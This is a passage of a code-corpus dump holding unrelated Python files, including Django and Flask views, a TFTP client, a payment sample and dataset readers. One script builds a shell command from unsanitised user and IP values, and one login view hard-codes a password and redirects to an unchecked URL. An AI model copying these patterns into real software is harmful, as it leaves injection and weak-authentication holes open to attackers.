self).get_context_data(*args, **kwargs)\n return context\n\n def get(self, *args, **kwargs):\n context = self.get_context_data(**kwargs)\n form = ContactForm()\n context['form'] = form\n return self.render_to_response(context)\n\n def post(self, *args, **kwargs):\n context = self.get_context_data(**kwargs)\n form = ContactForm(self.request.POST)\n\n if form.is_valid():\n form.send_form()\n return HttpResponseRedirect(reverse('confirm-contact'))\n\n context['form'] = form\n return self.render_to_response(context)\n","sub_path":"protection_civil/apps/frontend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"404301721","text":"\"\"\"\nDjango settings for markit project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'Get Your Own'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False\n\nTEMPLATE_DEBUG = False\n\nTEMPLATE_DIRS = [os.path.join(os.path.dirname(__file__), 'templates')]\n\nALLOWED_HOSTS = ['*']\n\n# Security Settings\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\nSESSION_COOKIE_SECURE = True\nCSRF_COOKIE_SECURE = True\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\n\n\n# AWS Settings\nAWS_HEADERS = {\n 'Expires': 'Thu, 31 Dec 2099 20:00:00 GMT',\n 'Cache-Control': 'max-age=94608000',\n}\n\nAWS_STORAGE_BUCKET_NAME = 'Set up your own Storage Bucket'\nAWS_ACCESS_KEY_ID = 'This is your access Key'\nAWS_SECRET_ACCESS_KEY = 'Secret access key'\n\n# Tell django-storages that when coming up with the URL for an item in S3 storage, keep\n# it simple - just use this domain plus the path. (If this isn't set, things get complicated).\n# This controls how the `static` template tag from `staticfiles` gets expanded, if you're using it.\n# We also use it in the next setting.\nAWS_S3_CUSTOM_DOMAIN = '%s.s3.amazonaws.com' % AWS_STORAGE_BUCKET_NAME\n\n# This is used by the 'static' template tag from 'static', if you're using that. Or if anything else\n# refers directly to STATIC_URL. So it's safest to always set it.\nSTATIC_URL = \"https://%s/\" % AWS_S3_CUSTOM_DOMAIN\n\n# Tell the staticfiles app to use S3Boto storage when writing the collected static files (when\n# you run `collectstatic`).\nSTATICFILES_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'finance',\n 'storages',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'markit.urls'\n\nWSGI_APPLICATION = 'markit.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'markit',\n 'USER': 'markit',\n 'PASSWORD': 'password',\n 'HOST': '127.0.0.1',\n 'PORT': '3306',\n }\n}\n\n# Rest Framework settings\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.TokenAuthentication',\n ),\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n ),\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'America/Chicago'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True","sub_path":"markit/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"364848300","text":"from django.http.response import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.views import View\n\nfrom . import models\n\n\nclass Login(View):\n def get(self, request):\n return render(request, 'login.html')\n\n def post(self, request):\n username = request.POST.get('username')\n pwd = request.POST.get('pwd')\n if username == 'henry' and pwd == '123':\n url = request.GET.get('return_url', '/book/')\n response = redirect('{}'.format(url))\n request.session['login'] = '1'\n return response\n return render(request, 'login.html', {'error': '用户名或密码错误'})\n\n\ndef logout(request):\n ret = redirect(reverse('login'))\n request.session['login'] = ''\n return ret\n\n\nclass List_item(View):\n\n def get(self, request, table):\n obj = getattr(models, table.capitalize())\n all_item = ''\n if obj:\n all_item = obj.objects.all()\n return render(request, 'list_{}.html'.format(table), {'all_item': all_item, 'table': table})\n\n\n# 删除元素\ndef del_item(request, table, pk):\n obj = getattr(models, table.capitalize())\n obj.objects.filter(pk=pk).delete()\n return redirect(reverse('list', args=(table,)))\n\n\n# 编辑作者\ndef edit_author(request, pk):\n error = ''\n author = models.Author.objects.get(pk=pk)\n if request.method == 'POST':\n author_name = request.POST.get('author_name')\n books = request.POST.getlist('books')\n if not author_name:\n error = '请输入作者姓名'\n if not error:\n author.name = author_name\n author.save()\n author.books.set(books)\n return redirect(reverse('list', args=('author',)))\n all_book = models.Book.objects.all()\n print(all_book, type(all_book))\n return render(request, 'edit_author.html', {'author': author, 'all_book': all_book, 'error': error})\n\n\n# 增加作者\ndef add_author(request):\n error = ''\n if request.method == 'POST':\n author_name = request.POST.get('author_name')\n if models.Author.objects.filter(name=author_name):\n error = '作者已存在'\n books = request.POST.getlist('books')\n if not (author_name and books):\n error = '作者和作品信息不完整'\n if not error:\n author = models.Author.objects.create(name=author_name)\n author.books.set(books)\n return redirect(reverse('list', args=('author',)))\n all_book = models.Book.objects.all()\n return render(request, 'add_author.html', {'all_book': all_book, 'error': error})\n\n\n# 添加书籍\ndef add_book(request):\n error = ''\n if request.method == 'POST':\n title = request.POST.get('book_name')\n pk = request.POST.get('id')\n print(title, pk)\n book_set = models.Book.objects.filter(title=title, pub_id=pk)\n\n if book_set:\n error = '书籍已存在'\n\n if not title: error = '请输入书名'\n\n if not error:\n models.Book.objects.create(title=title, pub_id=pk)\n return redirect(reverse('list', args=('book',)))\n\n all_publisher = models.Publisher.objects.all()\n return render(request, 'add_book.html', {'all_publisher': all_publisher, 'error': error})\n\n\n# 编辑书籍\ndef edit_book(request, pk):\n error = ''\n book = models.Book.objects.get(pk=pk)\n if request.method == 'POST':\n title = request.POST.get('book_name')\n pub_id = request.POST.get('id')\n if book.title == title and book.pub_id == int(pub_id):\n error = '未做任何修改'\n if not title: error = '请输入书名'\n if models.Book.objects.filter(title=title, pub_id=pub_id):\n error = '该书籍已存在'\n if not error:\n book.title = title\n book.pub_id = pub_id\n book.save()\n return redirect(reverse('list', args=('book',)))\n\n all_publisher = models.Publisher.objects.all().order_by('pid')\n return render(request, 'edit_book.html', {'book': book, 'all_publisher': all_publisher, 'error': error})\n\n\n# 增加出版社\ndef add_publisher(request):\n error = ''\n if request.method == 'POST':\n publisher_name = request.POST.get('publisher_name')\n if models.Publisher.objects.filter(name=publisher_name):\n error = '出版社已存在'\n if not publisher_name:\n error = '内容不能为空'\n if not error:\n models.Publisher.objects.create(name=publisher_name)\n return redirect(reverse('list', args=('publisher',)))\n return render(request, 'add_publisher.html', {'error': error})\n\n\n# 修改出版社\ndef edit_publisher(request, pk):\n obj_li = models.Publisher.objects.filter(pk=pk)\n if not obj_li:\n return HttpResponse('编辑的信息不存在')\n\n error = ''\n obj = obj_li[0]\n if request.method == 'POST':\n name = request.POST.get('publisher_name')\n if not name:\n error = '内容不能为空'\n if models.Publisher.objects.filter(name=name):\n error = '出版社名称已存在'\n if obj.name == name:\n error = '未做修改'\n if not error:\n obj.name = name\n obj.save()\n return redirect(reverse('list', args=('publisher',)))\n return render(request, 'edit_publisher.html', {'name': obj.name, 'error': error})\n\n","sub_path":"projects/7.login_middle/app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"320560329","text":"#coding:utf-8\nimport os\n\nimport bcrypt\nimport pandas as pd\nfrom flask import (abort, flash, g, redirect, render_template, request,\n session, url_for)\nfrom flask_login import current_user, login_required, login_user, logout_user\nfrom werkzeug.urls import url_parse\nfrom werkzeug.utils import secure_filename\n\nfrom app import app, login, mongo\n\nfrom .forms import (BeginForm, FinalForm, LoginForm, MiddleForm, ProfileForm,\n RegistrationForm)\nfrom .models import Post, User\n\n\n\n\n\n\n\n # return render_template('index.html')\n\n\n\n\n\n\n\n\n\n\n\n@app.route('/post', methods=['GET', 'POST'])\ndef post():\n if not current_user.get_admin():\n return redirect(url_for('index'))\n form = ProfileForm()\n if form.validate_on_submit():\n users = mongo.db.users\n user = users.find_one({'name': form.username.data})\n user['pass'] = True\n users.save(user)\n return redirect(url_for('profile', username=form.username.data))\n return abort(404)\n\n\n@app.route('/profile/', methods=['GET', 'POST'])\n@login_required\ndef profile(username):\n if not current_user.get_admin():\n return redirect(url_for('index'))\n form = ProfileForm()\n users = mongo.db.users\n user = users.find_one({'name':username})\n if 'pass' not in user.keys():\n user['pass']=False\n mongo.db.users.save(user)\n post =user['pass']\n if not user or user['post_num']<1:\n abort(404)\n return render_template(\n 'Profile.html',\n forms=user['posts'],\n form=form,\n post=post,\n username=username,\n admin=True)\n\n\n@app.route('/info/')\n@login_required\ndef info(page):\n if page not in ['college',\"class\",\"money\",\"preresult\"\n ,\"proccess\",\"accept\",\"finish\",\"eval\"]:\n abort(404)\n return '功能正在完善'\n\n\n\n@app.route('/input_0', methods=['GET', 'POST'])\n@login_required\ndef input_0():\n if current_user.get_admin():\n return redirect(url_for('admin'))\n return render_template('waitting.html')\n\n\n@app.route('/input_1', methods=['GET', 'POST'])\n@login_required\ndef input_1():\n if current_user.get_admin():\n return redirect(url_for('admin'))\n if current_user.get_post_num()>0:\n return redirect(url_for('input_0'))\n form = BeginForm()\n if form.validate_on_submit():\n file = form.__class__.__name__ + '-'+secure_filename(\n form.upload.data.filename)\n file_path = current_user.path\n if not os.path.exists(file_path):\n os.makedirs(file_path)\n filedata = os.listdir(file_path)\n if file not in filedata:\n filedata.append(file)\n form.upload.data.save(file_path + '/' + file)\n\n post = {\n 'project': form.project.data,\n 'person': form.person.data,\n 'money': form.money.data,\n 'post': form.post.data,\n 'upload': filedata,\n }\n p=Post(current_user.name,post_1=post)\n p.submit()\n current_user.set_post_num(1)\n return redirect(url_for('input_0'))\n return render_template('BeginForm.html', title='项目申请',form=form)\n\n\n@app.route('/input_2', methods=['GET', 'POST'])\n@login_required\ndef input_2():\n if current_user.get_admin():\n return redirect(url_for('admin'))\n if current_user.get_post_num() > 1:\n return redirect(url_for('input_0'))\n form = MiddleForm()\n if form.validate_on_submit():\n file = form.__class__.__name__ + '-' + secure_filename(\n form.upload.data.filename)\n file_path = current_user.path\n if not os.path.exists(file_path):\n os.makedirs(file_path)\n filedata = os.listdir(file_path)\n if file not in filedata:\n filedata.append(file)\n form.upload.data.save(file_path + '/' + file)\n\n post = {\n 'schedule': form.schedule.data,\n 'preview': form.preview.data,\n 'post': form.post.data,\n 'upload': filedata,\n }\n p = Post(current_user.name, post_2=post)\n p.submit()\n current_user.set_post_num(3)\n return redirect(url_for('input_0'))\n return render_template('MiddleForm.html', title='中期检查', form=form)\n\n\n@app.route('/input_3', methods=['GET', 'POST'])\n@login_required\ndef input_3():\n if current_user.get_admin():\n return redirect(url_for('admin'))\n if current_user.get_post_num() > 3:\n return redirect(url_for('input_0'))\n form = FinalForm()\n if form.validate_on_submit():\n file = form.__class__.__name__ + '-' + secure_filename(\n form.upload.data.filename)\n file_path = current_user.path\n if not os.path.exists(file_path):\n os.makedirs(file_path)\n filedata = os.listdir(file_path)\n if file not in filedata:\n filedata.append(file)\n form.upload.data.save(file_path + '/' + file)\n post = {\n 'change': form.change.data,\n 'achievement': form.achievement.data,\n 'post': form.post.data,\n 'upload': filedata,\n }\n p = Post(current_user.name, post_3=post)\n p.submit()\n current_user.set_post_num(7)\n return redirect(url_for('input_0'))\n return render_template('FinalForm.html', title='成果验收', form=form)\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"415607901","text":"from flask import Flask\nfrom os import environ\n\napp = Flask(__name__)\n\n\n@app.route(\"/app2\")\ndef hello_world():\n msg = \"no secrets\"\n if \"SECRET\" in environ:\n msg = environ[\"SECRET\"]\n\n return f\"app2: {msg}\"\n\n\nif __name__ == \"__main__\":\n app.run(port=5001)\n","sub_path":"app2.py","file_name":"app2.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"239207027","text":"# Runs on Leetcode - Bruteforce\n # runtime - O(n^2), space - O(1)\n \nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n if not nums:\n return []\n \n length = len(nums)\n for i in range(k):\n temp = nums.pop()\n nums.insert(0,temp)\n\n# Runs on Leetcode - Optimized\n# Runtime is O(n) and space is O(1)\n \nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n size = len(nums)\n if k > size:\n k = k % size \n nums[:] = nums[:][::-1]\n nums[:k] = nums[:k][::-1]\n nums[k:] = nums[k:][::-1]\n","sub_path":"Problem_3.py","file_name":"Problem_3.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"512251696","text":"'''\r\nCreated on Aug 28, 2013\r\n\r\n@author: VMR11\r\n'''\r\nimport re\r\n\r\npatient_ids_path = 'C:\\\\Users\\\\vmr11\\\\Dropbox\\\\DBMI\\\\GIANT\\\\Open Skin\\\\DS_FollowUP\\\\FollowUpDSids.txt'\r\nindex_data_path = 'C:\\\\Users\\\\vmr11\\\\Dropbox\\\\DBMI\\\\GIANT\\\\Open Skin\\\\DS_FollowUP\\\\open_abdomen_index_data.csv'\r\noutput_data_path = 'C:\\\\Users\\\\vmr11\\\\Dropbox\\\\DBMI\\\\GIANT\\\\Open Skin\\\\DS_FollowUP\\\\output_index_data.csv'\r\n\r\nwith open(patient_ids_path,'r') as ids_file:\r\n patient_ids = ids_file.readlines()\r\n patient_ids = list(set([id.strip() for id in patient_ids if id != '']))\r\n \r\nwith open(index_data_path,'r') as data_file:\r\n index_data = data_file.readlines()\r\n column_headers = re.split(r',',index_data.pop(0))\r\n index_data = [re.split(r',',line) for line in index_data]\r\n \r\nwith open(output_data_path,'w') as output_file:\r\n for id in patient_ids:\r\n for patient in index_data:\r\n if patient[0] == id:\r\n output = ','.join(patient)\r\n print>>output_file, output.strip()\r\n ","sub_path":"Skin_only_closure/src/IndexData.py","file_name":"IndexData.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"570430317","text":"secret_word = 'viki'\r\nguess = ''\r\nguess_count = 0\r\nguess_limit = 3\r\noutof_guesses = False\r\nwhile guess != secret_word and not outof_guesses:\r\n if guess_count < guess_limit:\r\n guess = input(\"Enter the word :\")\r\n guess_count += 1\r\n else :\r\n outof_guesses = True\r\nif outof_guesses:\r\n print(\"You are out of guesses, You loose !\")\r\nelse:\r\n print(\"You guessed it right,YOU WIN!\")\r\n","sub_path":"guessinggame.py","file_name":"guessinggame.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"157999420","text":"# coding=utf-8\n\nfrom uuid import UUID\n\nfrom stoneEcommercePython.data_contracts.CreateSaleRequest import creditcard, creditcard_transaction, order, \\\n create_sale_request\nfrom stoneEcommercePython.enum_types.HttpContentTypeEnum import HttpContentTypeEnum\nfrom stoneEcommercePython.enum_types.PlatformEnvironment import PlatformEnvironment\nfrom stoneEcommercePython.stone_config.GatewayServiceClient import GatewayServiceClient\n\ncreditcard_data = creditcard(creditcard_number='4111111111111111',\n creditcard_brand='Visa',\n exp_month=10,\n exp_year=2018,\n security_code='123', holder_name='LUKE SKYWALKER')\n\n# Cria a transação.\namount_in_cents = 10000\ntransaction_collection = [creditcard_transaction(amount_in_cents, creditcard_data)]\n\n# Cria o numero do pedido\noptions_request = order(order_reference='NumeroDoPedido')\n\n# Cria a request.\nrequest = create_sale_request(creditcard_transaction_collection=transaction_collection, order=options_request)\n\nmerchant_key = UUID('00000000-0000-0000-0000-000000000000')\nend_point = \"https://transaction.stone.com.br\"\n\nenvironment = PlatformEnvironment.production\ncontent_type = HttpContentTypeEnum.json\nservice_client = GatewayServiceClient(merchant_key, environment, content_type, end_point)\n\nhttp_response = service_client.sale.create_with_request(request)\n\njson_response = http_response.json()\nprint(json_response)\n","sub_path":"sample_transaction.py","file_name":"sample_transaction.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"294041148","text":"# -*-coding: utf-8 -*-\n\nimport time\nimport setproctitle\nimport sys\nimport subprocess, signal\nimport os\n\nfrom django.http import HttpResponse\nfrom HandCorrect.field.R import R\n\nfrom django.conf import settings\n\n\ndef PROCESS_SETTINGS():\n return {\n 'PROCESS_CREATE_FILE': settings.PROCESS_CREATE_FILE,\n 'PROCESS_KILL_FILE': settings.PROCESS_KILL_FILE,\n 'PROCESS_PRE_NAME': settings.PROCESS_PRE_NAME,\n 'IMG_CACHE_TEMPLATE_DIR': settings.IMG_CACHE_TEMPLATE_DIR,\n 'IMG_CACHE_FILE_NAME': settings.IMG_CACHE_FILE_NAME,\n\n 'IMG_COMP_FILE_NAME': settings.IMG_COMP_FILE_NAME,\n 'IMG_COMP_CHECKED_FILE_NAME': settings.IMG_COMP_CHECKED_FILE_NAME\n }\n\n\n# 测试 创建进程\ndef create_process(request):\n result = do_create_process(0, \"10.10.10.10\")\n r = R()\n if result:\n return HttpResponse(r.succ(\"调用脚本成功\"))\n else:\n return HttpResponse(r.succ(\"调用脚本失败\"))\n\n\n# 创建进程\ndef do_create_process(user_id, ip_address):\n process_name = PROCESS_SETTINGS()['PROCESS_PRE_NAME']+'-'+str(user_id)+'-'+str(ip_address)\n cmd = \"python \"+PROCESS_SETTINGS()['PROCESS_CREATE_FILE'] + \" \" + \\\n process_name + \" \" + \\\n PROCESS_SETTINGS()['IMG_CACHE_TEMPLATE_DIR'] + str(user_id) + \"/\" + \" \" + PROCESS_SETTINGS()['IMG_CACHE_FILE_NAME'] + \\\n \" &\"\n\n if os.system(cmd) == 0:\n return True\n else:\n return False\n\n\n# kill 进程\ndef do_kill_process(user_id, ip_address):\n p = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)\n out, err = p.communicate()\n\n process_name = PROCESS_SETTINGS()['PROCESS_PRE_NAME']+'-'+str(user_id)+'-'+str(ip_address)\n\n for line in out.splitlines():\n if process_name in line:\n pid = int(line.split(None, 1)[0])\n os.kill(int(pid), signal.SIGKILL)\n\n return True\n\n","sub_path":"background/HandCorrect/tools/self_process.py","file_name":"self_process.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"621968960","text":"from django.urls import path, include\nfrom django.views.generic import TemplateView\nfrom . import views\nfrom django.contrib.sitemaps.views import sitemap\nfrom .sitemaps import StaticViewSitemap\nfrom ecomapp.sitemaps import CategorySitemap, SubcategorySitemap, ProductsSitemap\nfrom robots_txt.views import RobotsTextView\n\n\nsitemaps = {\n 'category_detail': CategorySitemap,\n 'sub_category_detail': SubcategorySitemap,\n 'product_detail': ProductsSitemap,\n 'static': StaticViewSitemap,\n}\n\nurlpatterns = [\n path('category//', views.category_view, name='category_detail'),\n path('sub_category/', views.sub_category_view, name='sub_category_detail'),\n path('product//', views.product_view, name='product_detail'),\n path('change_item_amount/', views.change_item_amount, name='change_item_amount'),\n path('cart/', views.cart_view, name='cart'),\n path('add_to_cart/', views.add_to_cart_view, name='add_to_cart'),\n path('remove_from_cart/', views.remove_from_cart_view, name='remove_from_cart'),\n path('checkout/', views.checkout_view, name='checkout'),\n path('order/', views.order_create_view, name='create_order'),\n path('make_order/', views.make_order_view, name='make_order'),\n path('thank_you/', TemplateView.as_view(template_name='thank_you.html'), name='thank_you'),\n path('registration', views.registration_view, name='registration'),\n path('account', views.account_view, name='account'),\n path('account', include('django_registration.backends.activation.urls')),\n path('account', include('django.contrib.auth.urls')),\n path('login', views.login_view, name='login'),\n path('', views.base_view, name='base'),\n path('sitemap.xml', sitemap, {'sitemaps': sitemaps},\n name='django.contrib.sitemaps.views.sitemap'),\n path('robots.txt', RobotsTextView.as_view()),\n path('', include('robots_txt.urls')),\n]\n\n","sub_path":"ecomapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"173962405","text":"# coding=utf-8\n# Copyright 2018 XXX. All Right Reserved\n# Author: test@XXX.com{test}\n# tftp协议下载文件.py 18-4-3 下午11:32\n# SITE: https:www.jetbrains.com/pycharm/\nfrom socket import socket, AF_INET, SOCK_DGRAM\nfrom struct import pack, unpack\n\n# 创建一个udp套接字\nudp_socket = socket(AF_INET, SOCK_DGRAM)\n\n# 发送的数据-》打包成网络的二进制\n# !代表安装网络数据组织\n# H把1替换成占有2个字节\n# 8s,文件test.jpg的字符串的长度,7s\n# 用b替换倒数第二个0,占1个字节\nsendcontent = pack(\"!H8sb5sb\", 1, \"9178.jpg\".encode(\"utf-8\"), 0, b\"octet\", 0)\n# 发送数据\nsend_address = (\"192.168.21.27\", 69)\n# 发给tftp协议的服务器\nudp_socket.sendto(sendcontent, send_address)\n\n\nwhile True:\n # 接收来自服务器的数据最大为1024\n # recv_data数据---》(操作码+序列号)+“数据”\n recv_data, recv_address = udp_socket.recvfrom(1024)\n #print(recv_data, recv_address)\n recv_data_length = len(recv_data)\n\n # 把数据切片得到前---》(操作+数据块序列号)\n # 操作码:1上传2下载3正常数据4 响应吗5出错了\n code_packnum = recv_data[:4]\n\n #拆包--->code操作码和packnum数据块序列号\n code,packnum = unpack(\"!HH\",code_packnum)\n #print(code,packnum)\n\n if code == 3:\n\n if packnum == 1:\n #创建新的空白文件\n recv_file = open(\"9178.jpg\",\"wb\")\n pack_data = recv_data[4:]\n pack_data_fmt = \"!%ds\" % len(pack_data)\n #解包后的数据\n data = unpack(pack_data_fmt,pack_data)\n recv_file.write(data[0])\n\n #向服务器发确认码ack\n send_ack = pack(\"!HH\",4,packnum)\n #查看包的序号\n print(\"packnum==%s,reve_data_length==%s\" % (packnum,recv_data_length))\n #开始发送\n udp_socket.sendto(send_ack,recv_address)\n\n if recv_data_length < 516:\n print(\"下载完成\")\n recv_file.close()\n break\n elif code == 5:\n print(\"下载失败\")\n# 关闭套接字\nudp_socket.close()\nif __name__ == \"__main__\":\n pass\n","sub_path":"gitnote/study0403/tftp协议下载文件.py","file_name":"tftp协议下载文件.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"645976443","text":"import select\nfrom websocket import client, getHeaders\n\ndef receiveAll(sock, timeout=10):\n dataParts = []\n\n while True:\n data = sock.recv(4096)\n\n if data:\n dataParts.append(data)\n else:\n break\n\n return b''.join(dataParts)\n\nclass MyHandler(client.WebSocketClientHandler):\n def handle(self):\n self.sendHeaders()\n returnData = receiveAll(self.connection)\n print(returnData)\n headers = getHeaders(returnData)\n\n if 'Sec-WebSocket-Accept' in headers and headers['Sec-WebSocket-Accept'] == self.getReturnKey():\n print(\"yay!\")\n\nif __name__ == '__main__':\n client = client.WebSocketClient('localhost', 8080, MyHandler)\n client.connect()\n","sub_path":"Python/wst.py","file_name":"wst.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"296490658","text":"import pandas as pd\nimport re\nfrom sklearn.model_selection import train_test_split\n\n\nclass DataInit():\n def __init__(self, file_path):\n data_frame = self.load_data(file_path)\n\n data_frame = self.clean_data(data_frame)\n\n self.question1 = data_frame['question1']\n self.question2 = data_frame['question2']\n # self.data = self.preprocess_data(data_frame['question1'], data_frame['question2'])\n\n self.labels = data_frame['is_duplicate'].values\n\n def load_data(self, file_path):\n return pd.read_csv(file_path)\n\n # def preprocess_data(self, q1, q2):\n # res = []\n # for q1, q2 in zip(q1, q2):\n # res.append(q1)\n # res.append(q2)\n # return res\n\n def clean_data(self, data):\n data['question1'] = data['question1'].apply(lambda row: self.normalize_string(row))\n data['question2'] = data['question2'].apply(lambda row: self.normalize_string(row))\n return data\n\n def normalize_string(self, s):\n if not isinstance(s, str):\n s = \"NA\"\n s = str(s).lower().strip()\n s = re.sub(r\"([.!?])\", r\" \\1\", s)\n s = re.sub(r\"[^a-zA-Z.!?]+\", r\" \", s)\n return s\n\n #\n # def get_data_and_labels(self):\n # return self.data, self.labels\n\n def get_train_test_data(self, test_ratio):\n\n # merge X pairs to tuples\n X = [(self.question1[i], self.question2[i]) for i in range(len(self.question1))]\n\n # split\n train_X, test_X, train_y, test_y = train_test_split(X, self.labels, test_size=test_ratio, random_state=1)\n\n # span pairs back\n spaned_X_train = self.span_pairs(train_X)\n spaned_X_test = self.span_pairs(test_X)\n\n return spaned_X_train, spaned_X_test, train_y, test_y\n\n def span_pairs(self, X):\n spaned_X = []\n\n for pair in X:\n spaned_X.append(pair[0])\n spaned_X.append(pair[1])\n\n return spaned_X\n","sub_path":"Project/DataInit.py","file_name":"DataInit.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"172245705","text":"from path import *\nfrom pycocotools.coco import COCO\nfrom PIL import Image\nimport numpy \nimport random\n\nclass DataReader:\n\n def __init__(self,data_type = TRAIN_DATA_TYPE):\n \"\"\"\n data_type:训练集类别\n \"\"\"\n self.coco = COCO(annotation_file = '{}/annotations/instances_{}.json'.format(DATA_PATH,TRAIN_DATA_TYPE))\n self.img_ids = self.coco.getImgIds()\n self.data_type = data_type\n self.pos = 0\n\n def setPos(self,pos = 0):\n \"\"\"\n 设置当前读取游标\n \"\"\"\n self.pos = pos if pos < len(self.img_ids) else len(self.img_ids) + 1\n\n def getPos(self):\n \"\"\"\n 获取当前pos\n \"\"\"\n return self.pos\n\n def getNextPicId(self):\n \"\"\"\n 获取下一张图片的id(即当前游标所在图像的id)\n 并且使索引+1\n \"\"\"\n img_id = self.img_ids[self.pos]\n self.pos = self.pos + 1 if not self.pos + 1 == len(self.img_ids) else 0\n return img_id\n\n def getPicData(self,pic_id):\n \"\"\"\n 获取图像数据\n pic_id:图像的id\n return numpy三维数组\n \"\"\"\n img = DATA_PATH + '\\\\' + self.data_type + '\\\\'+ str(pic_id).zfill(12) + '.jpg'\n img = Image.open(img)\n return numpy.array(img)\n\n def getPicAnno(self,pic_id):\n \"\"\"\n 获取图像注释数据\n pic_id:图像的id\n return result:注释数据[{}...]\n \"\"\"\n annIds = self.coco.getAnnIds(imgIds=pic_id, iscrowd=None)\n anns = self.coco.loadAnns(annIds)\n result = []\n for ann in anns:\n result.append({'image_id':ann['image_id'],'bbox':ann['bbox'], 'category_id':ann['category_id'],'id':ann['id']})\n return result\n\n def getRandomPicId(self):\n \"\"\"\n 获取随机索引\n \"\"\"\n img_id = self.img_ids[random.randint(0,len(self.img_ids)-1)]\n return img_id\n\n def getOnePicTrainData(self):\n \"\"\"\n 获取一个训练用数据\n return 图像数据 + 注释数据\n \"\"\"\n img_id = self.getRandomPicId()\n img_data = self.getPicData(img_id)\n img_anno = self.getPicAnno(img_id)\n return img_data,img_anno\n\n def getCategoryName(self,id):\n return self.coco.loadCats(ids = [id])\n\nif __name__ == '__main__':\n reader = DataReader()\n # print(reader.getOnePicTrainData())\n j = 0\n for i in range(1,100):\n try:\n print(reader.getCategoryName(i))\n except:\n pass\n else:\n j += 1\n print(j)","sub_path":"data_reader.py","file_name":"data_reader.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"582797194","text":"import re\nfrom bisect import bisect\n\nfrom .example import Example\n\n\nclass Document(object):\n \"\"\"\n This is Sybil's representation of a documentation source file.\n It will be instantiated by Sybil and provided to each parser in turn.\n \"\"\"\n\n def __init__(self, text, path):\n #: This is the text of the documentation source file.\n self.text = text\n #: This is the absolute path of the documentation source file.\n self.path = path\n self.end = len(text)\n self.regions = []\n #: This dictionary is the namespace in which all example parsed from\n #: this document will be evaluated.\n self.namespace = {}\n\n def line_column(self, position):\n line = self.text.count('\\n', 0, position)+1\n col = position - self.text.rfind('\\n', 0, position)\n return 'line {}, column {}'.format(line, col)\n\n def 